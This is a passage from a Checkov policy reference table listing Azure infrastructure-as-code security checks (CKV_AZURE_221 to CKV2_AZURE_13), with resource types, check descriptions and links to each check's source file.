as deny | Terraform | [AzureFirewallPolicyIDPSDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallPolicyIDPSDeny.py) | | 6143 | CKV_AZURE_221 | resource | azurerm_linux_function_app | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 6144 | CKV_AZURE_221 | resource | azurerm_linux_function_app_slot | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 6145 | CKV_AZURE_221 | resource | azurerm_windows_function_app | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 6146 | CKV_AZURE_221 | resource | azurerm_windows_function_app_slot | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 6147 | CKV_AZURE_222 | resource | Microsoft.Web/sites | Ensure that Azure Web App public network access is disabled | arm | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 6148 | CKV_AZURE_222 | resource | Microsoft.Web/sites | Ensure that Azure Web App public network access is disabled | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 6149 | CKV_AZURE_222 | resource | Microsoft.Web/sites/config | Ensure that Azure Web App public network access is disabled | arm | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 6150 | CKV_AZURE_222 | resource | Microsoft.Web/sites/config | Ensure that Azure Web App public network access is disabled | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 6151 | CKV_AZURE_222 | resource | Microsoft.Web/sites/slots | Ensure that Azure Web App public network access is disabled | arm | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 6152 | CKV_AZURE_222 | resource | Microsoft.Web/sites/slots | Ensure that Azure Web App public network access is disabled | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 6153 | CKV_AZURE_222 | resource | azurerm_linux_web_app | Ensure that Azure Web App public network access is disabled | Terraform | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py) | | 6154 | CKV_AZURE_222 | resource | azurerm_windows_web_app | Ensure that Azure Web App public network access is disabled | Terraform | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py) | | 6155 | CKV_AZURE_223 | resource | Microsoft.EventHub/namespaces | Ensure Event Hub Namespace uses at least TLS 1.2 | arm | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py) | | 6156 | CKV_AZURE_223 | resource | Microsoft.EventHub/namespaces | Ensure Event Hub Namespace uses at least TLS 1.2 | Bicep | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py) | | 6157 | CKV_AZURE_223 | resource | azurerm_eventhub_namespace | Ensure Event Hub Namespace uses at least TLS 1.2 | Terraform | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceMinTLS12.py) | | 6158 | CKV_AZURE_224 | resource | azurerm_mssql_database | Ensure that the Ledger feature is enabled on database that requires cryptographic proof and nonrepudiation of data integrity | Terraform | [SQLDatabaseLedgerEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseLedgerEnabled.py) | | 6159 | CKV_AZURE_225 | resource | Microsoft.Web/serverfarms | Ensure the App Service Plan is zone redundant | arm | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py) | | 6160 | CKV_AZURE_225 | resource | Microsoft.Web/serverfarms | Ensure the App Service Plan is zone redundant | Bicep | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py) | | 6161 | CKV_AZURE_225 | resource | azurerm_service_plan | Ensure the App Service Plan is zone redundant | Terraform | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePlanZoneRedundant.py) | | 6162 | CKV_AZURE_226 | resource | Microsoft.ContainerService/managedClusters | Ensure ephemeral disks are used for OS disks | arm | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py) | | 6163 | CKV_AZURE_226 | resource | Microsoft.ContainerService/managedClusters | Ensure ephemeral disks are used for OS disks | Bicep | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py) | | 6164 | CKV_AZURE_226 | resource | azurerm_kubernetes_cluster | Ensure ephemeral disks are used for OS disks | Terraform | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEphemeralOSDisks.py) | | 6165 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | arm | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 6166 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Bicep | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 6167 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | arm | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 6168 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Bicep | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 6169 | CKV_AZURE_227 | resource | azurerm_kubernetes_cluster | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Terraform | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py) | | 6170 | CKV_AZURE_227 | resource | azurerm_kubernetes_cluster_node_pool | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Terraform | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py) | | 6171 | CKV_AZURE_228 | resource | azurerm_eventhub_namespace | Ensure the Azure Event Hub Namespace is zone redundant | Terraform | [EventHubNamespaceZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceZoneRedundant.py) | | 6172 | CKV_AZURE_229 | resource | Microsoft.Sql/servers/databases | Ensure the Azure SQL Database Namespace is zone redundant | arm | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py) | | 6173 | CKV_AZURE_229 | resource | Microsoft.Sql/servers/databases | Ensure the Azure SQL Database Namespace is zone redundant | Bicep | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py) | | 6174 | CKV_AZURE_229 | resource | azurerm_mssql_database | Ensure the Azure SQL Database Namespace is zone redundant | Terraform | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseZoneRedundant.py) | | 6175 | CKV_AZURE_230 | resource | azurerm_redis_cache | Standard Replication should be enabled | Terraform | [RedisCacheStandardReplicationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheStandardReplicationEnabled.py) | | 6176 | CKV_AZURE_231 | resource | azurerm_app_service_environment_v3 | Ensure App Service Environment is zone redundant | Terraform | [AppServiceEnvironmentZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnvironmentZoneRedundant.py) | | 6177 | CKV_AZURE_232 | resource | azurerm_kubernetes_cluster | Ensure that only critical system pods run on system nodes | Terraform | [AKSOnlyCriticalPodsOnSystemNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSOnlyCriticalPodsOnSystemNodes.py) | | 6178 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries | Ensure Azure Container Registry (ACR) is zone redundant | arm | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 6179 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries | Ensure Azure Container Registry (ACR) is zone redundant | Bicep | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 6180 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries/replications | Ensure Azure Container Registry (ACR) is zone redundant | arm | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 6181 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries/replications | Ensure Azure Container Registry (ACR) is zone redundant | Bicep | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 6182 | CKV_AZURE_233 | resource | azurerm_container_registry | Ensure Azure Container Registry (ACR) is zone redundant | Terraform | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableZoneRedundancy.py) | | 6183 | CKV_AZURE_234 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender for cloud is set to On for Resource Manager | Terraform | [AzureDefenderDisabledForResManager.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderDisabledForResManager.py) | | 6184 | CKV_AZURE_235 | resource | azurerm_container_group | Ensure that Azure container environment variables are configured with secure values only | Terraform | [AzureContainerInstanceEnvVarSecureValueType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstanceEnvVarSecureValueType.py) | | 6185 | CKV_AZURE_236 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable local authentication | arm | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py) | | 6186 | CKV_AZURE_236 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable local authentication | Bicep | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py) | | 6187 | CKV_AZURE_236 | resource | azurerm_cognitive_account | Ensure that Cognitive Services accounts disable local authentication | Terraform | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesEnableLocalAuth.py) | | 6188 | CKV_AZURE_237 | resource | azurerm_container_registry | Ensure dedicated data endpoints are enabled. | Terraform | [ACRDedicatedDataEndpointEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRDedicatedDataEndpointEnabled.py) | | 6189 | CKV_AZURE_238 | resource | Microsoft.CognitiveServices/accounts | Ensure that all Azure Cognitive Services accounts are configured with a managed identity | arm | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py) | | 6190 | CKV_AZURE_238 | resource | Microsoft.CognitiveServices/accounts | Ensure that all Azure Cognitive Services accounts are configured with a managed identity | Bicep | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py) | | 6191 | CKV_AZURE_238 | resource | azurerm_cognitive_account | Ensure that all Azure Cognitive Services accounts are configured with a managed identity | Terraform | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesConfigureIdentity.py) | | 6192 | CKV_AZURE_239 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace administrator login password is not exposed | arm | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py) | | 6193 | CKV_AZURE_239 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace administrator login password is not exposed | Bicep | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py) | | 6194 | CKV_AZURE_239 | resource | azurerm_synapse_workspace | Ensure Azure Synapse Workspace administrator login password is not exposed | Terraform | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceAdministratorLoginPasswordHidden.py) | | 6195 | CKV_AZURE_240 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace is encrypted with a CMK | arm | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py) | | 6196 | CKV_AZURE_240 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace is encrypted with a CMK | Bicep | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py) | | 6197 | CKV_AZURE_240 | resource | azurerm_synapse_workspace | Ensure Azure Synapse Workspace is encrypted with a CMK | Terraform | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceCMKEncryption.py) | | 6198 | CKV_AZURE_241 | resource | azurerm_synapse_sql_pool | Ensure Synapse SQL pools are encrypted | Terraform | [SynapseSQLPoolDataEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseSQLPoolDataEncryption.py) | | 6199 | CKV_AZURE_242 | resource | Microsoft.Synapse/workspaces/bigDataPools | Ensure isolated compute is enabled for Synapse Spark pools | arm | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py) | | 6200 | CKV_AZURE_242 | resource | Microsoft.Synapse/workspaces/bigDataPools | Ensure isolated compute is enabled for Synapse Spark pools | Bicep | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py) | | 6201 | CKV_AZURE_242 | resource | azurerm_synapse_spark_pool | Ensure isolated compute is enabled for Synapse Spark pools | Terraform | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSparkPoolIsolatedComputeEnabled.py) | | 6202 | CKV_AZURE_243 | resource | Microsoft.MachineLearningServices/workspaces | Ensure Azure Machine learning workspace is configured with private endpoint | arm | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py) | | 6203 | CKV_AZURE_243 | resource | Microsoft.MachineLearningServices/workspaces | Ensure Azure Machine learning workspace is configured with private endpoint | Bicep | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py) | | 6204 | CKV_AZURE_244 | resource | azurerm_storage_account | Avoid the use of local users for Azure Storage unless necessary | Terraform | [StorageLocalUsers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageLocalUsers.py) | | 6205 | CKV_AZURE_245 | resource | azurerm_container_group | Ensure that Azure Container group is deployed into virtual network | Terraform | [AzureContainerInstancePublicIPAddressType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstancePublicIPAddressType.py) | | 6206 | CKV_AZURE_246 | resource | azurerm_kubernetes_cluster | Ensure Azure AKS cluster HTTP application routing is disabled | Terraform | [KubernetesClusterHTTPApplicationRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KubernetesClusterHTTPApplicationRouting.py) | | 6207 | CKV_AZURE_247 | resource | azurerm_cognitive_account | Ensure that Azure Cognitive Services account hosted with OpenAI is configured with data loss prevention | Terraform | [OpenAICognitiveServicesRestrictOutboundNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/OpenAICognitiveServicesRestrictOutboundNetwork.py) | | 6208 | CKV_AZURE_248 | resource | Microsoft.Batch/batchAccounts | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | arm | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py) | | 6209 | CKV_AZURE_248 | resource | Microsoft.Batch/batchAccounts | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | Bicep | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py) | | 6210 | CKV_AZURE_248 | resource | azurerm_batch_account | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | Terraform | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountEndpointAccessDefaultAction.py) | | 6211 | CKV_AZURE_249 | resource | azuread_application_federated_identity_credential | Ensure Azure GitHub Actions OIDC trust policy is configured securely | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/GithubActionsOIDCTrustPolicy.py) | | 6212 | CKV_AZURE_250 | resource | azurerm_storage_sync | Ensure Storage Sync Service is not configured with overly permissive network access | Terraform | [StorageSyncServicePermissiveAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageSyncServicePermissiveAccess.py) | | 6213 | CKV_AZURE_251 | resource | azurerm_managed_disk | Ensure Azure Virtual Machine disks are configured without public network access | Terraform | [VMDiskWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDiskWithPublicAccess.py) | | 6214 | CKV2_AZURE_1 | resource | azurerm_storage_account | Ensure storage for critical data are encrypted with Customer Managed Key | Terraform | [StorageCriticalDataEncryptedCMK.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageCriticalDataEncryptedCMK.yaml) | | 6215 | CKV2_AZURE_2 | resource | azurerm_mssql_server | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml) | | 6216 | CKV2_AZURE_2 | resource | azurerm_mssql_server_security_alert_policy | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml) | | 6217 | CKV2_AZURE_2 | resource | azurerm_sql_server | Ensure that Vulnerability Assessment (VA) is enabled on a SQL server by setting a Storage Account | Terraform | [VAisEnabledInStorageAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAisEnabledInStorageAccount.yaml) | | 6218 | CKV2_AZURE_3 | resource | azurerm_mssql_server | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 6219 | CKV2_AZURE_3 | resource | azurerm_mssql_server_security_alert_policy | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 6220 | CKV2_AZURE_3 | resource | azurerm_mssql_server_vulnerability_assessment | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 6221 | CKV2_AZURE_3 | resource | azurerm_sql_server | Ensure that VA setting Periodic Recurring Scans is enabled on a SQL server | Terraform | [VAsetPeriodicScansOnSQL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAsetPeriodicScansOnSQL.yaml) | | 6222 | CKV2_AZURE_4 | resource | azurerm_mssql_server | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 6223 | CKV2_AZURE_4 | resource | azurerm_mssql_server_security_alert_policy | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 6224 | CKV2_AZURE_4 | resource | azurerm_mssql_server_vulnerability_assessment | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 6225 | CKV2_AZURE_4 | resource | azurerm_sql_server | Ensure Azure SQL server ADS VA Send scan reports to is configured | Terraform | [VAconfiguredToSendReports.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReports.yaml) | | 6226 | CKV2_AZURE_5 | resource | azurerm_mssql_server | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 6227 | CKV2_AZURE_5 | resource | azurerm_mssql_server_security_alert_policy | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 6228 | CKV2_AZURE_5 | resource | azurerm_mssql_server_vulnerability_assessment | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 6229 | CKV2_AZURE_5 | resource | azurerm_sql_server | Ensure that VA setting 'Also send email notifications to admins and subscription owners' is set for a SQL server | Terraform | [VAconfiguredToSendReportsToAdmins.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VAconfiguredToSendReportsToAdmins.yaml) | | 6230 | CKV2_AZURE_6 | resource | azurerm_sql_firewall_rule | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled | Terraform | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml) | | 6231 | CKV2_AZURE_6 | resource | azurerm_sql_server | Ensure 'Allow access to Azure services' for PostgreSQL Database Server is disabled | Terraform | [AccessToPostgreSQLFromAzureServicesIsDisabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AccessToPostgreSQLFromAzureServicesIsDisabled.yaml) | | 6232 | CKV2_AZURE_7 | resource | azurerm_sql_server | Ensure that Azure Active Directory Admin is configured | Terraform | [AzureActiveDirectoryAdminIsConfigured.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureActiveDirectoryAdminIsConfigured.yaml) | | 6233 | CKV2_AZURE_8 | resource | azurerm_monitor_activity_log_alert | Ensure the storage container storing the activity logs is not publicly accessible | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml) | | 6234 | CKV2_AZURE_8 | resource | azurerm_storage_account | Ensure the storage container storing the activity logs is not publicly accessible | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml) | | 6235 | CKV2_AZURE_8 | resource | azurerm_storage_container | Ensure the storage container storing the activity logs is not publicly accessible | Terraform | [StorageContainerActivityLogsNotPublic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/StorageContainerActivityLogsNotPublic.yaml) | | 6236 | CKV2_AZURE_9 | resource | azurerm_virtual_machine | Ensure Virtual Machines are utilizing Managed Disks | Terraform | [VirtualMachinesUtilizingManagedDisks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VirtualMachinesUtilizingManagedDisks.yaml) | | 6237 | CKV2_AZURE_10 | resource | azurerm_virtual_machine | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines | Terraform | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml) | | 6238 | CKV2_AZURE_10 | resource | azurerm_virtual_machine_extension | Ensure that Microsoft Antimalware is configured to automatically updates for Virtual Machines | Terraform | [AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs.yaml) | | 6239 | CKV2_AZURE_11 | resource | azurerm_kusto_cluster | Ensure that Azure Data Explorer encryption at rest uses a customer-managed key | Terraform | [DataExplorerEncryptionUsesCustomKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/DataExplorerEncryptionUsesCustomKey.yaml) | | 6240 | CKV2_AZURE_12 | resource | azurerm_virtual_machine | Ensure that virtual machines are backed up using Azure Backup | Terraform | [VMHasBackUpMachine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/VMHasBackUpMachine.yaml) | | 6241 | CKV2_AZURE_13 | resource | azurerm_mssql_server_security_alert_policy | Ensure that sql servers enables data security policy | Terraform | [AzureMSSQLServerHasSecurityAlertPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureMSSQLServerHasSecurityAlertPolicy.yaml) | | 6242 | CKV2_AZURE_13 | resource | azurerm_sql_server | Ensure that sql servers enables data security policy | Terraform | 